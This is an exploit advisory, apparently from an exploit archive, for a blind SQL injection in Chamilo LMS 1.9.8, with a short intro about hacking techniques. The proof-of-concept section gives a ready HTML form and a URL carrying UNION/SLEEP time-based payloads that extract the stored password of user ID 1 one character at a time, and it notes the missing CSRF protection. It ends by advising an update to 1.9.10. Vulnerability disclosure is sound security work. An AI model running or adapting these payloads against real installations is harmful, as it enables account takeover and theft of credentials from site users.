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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: Chamilo LMS 1.9.8 Blind SQL Injection
# Date: 06-12-2014
# Software Link: http://www.chamilo.org/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description
  
Database::escape_string() function is used to sanitize data but it will work only in two situations: "function_output" or 'function_output'.

There is few places where this function is used without quotation marks.

http://security.szurek.pl/chamilo-lms-198-blind-sql-injection.html

2. Proof of Concept

For this exploit you need teacher privilege (api_is_allowed_to_edit(false, true)) and at least one forum category must exist (get_forum_categories()).

<form method="post" action="http://chamilo-url/main/forum/?action=move&content=forum&SubmitForumCategory=1&direction=1&id=0 UNION (SELECT IF(substr(password,1,1) = CHAR(100), SLEEP(5), 0) FROM user WHERE user_id = 1)">
    <input type="hidden" name="SubmitForumCategory" value="1">
    <input type="submit" value="Hack!">
</form>

For second exploit you need administrator privilege (there is no CSRF protection):

http://chamilo-url/main/reservation/m_category.php?action=delete&id=0 UNION (SELECT IF(substr(password,1,1) = CHAR(100), SLEEP(5), 0) FROM user WHERE user_id = 1)

Those SQL will check if first password character user ID=1 is "d".

  
3. Solution:
  
Update to version 1.9.10
https://support.chamilo.org/projects/chamilo-18/wiki/Security_issues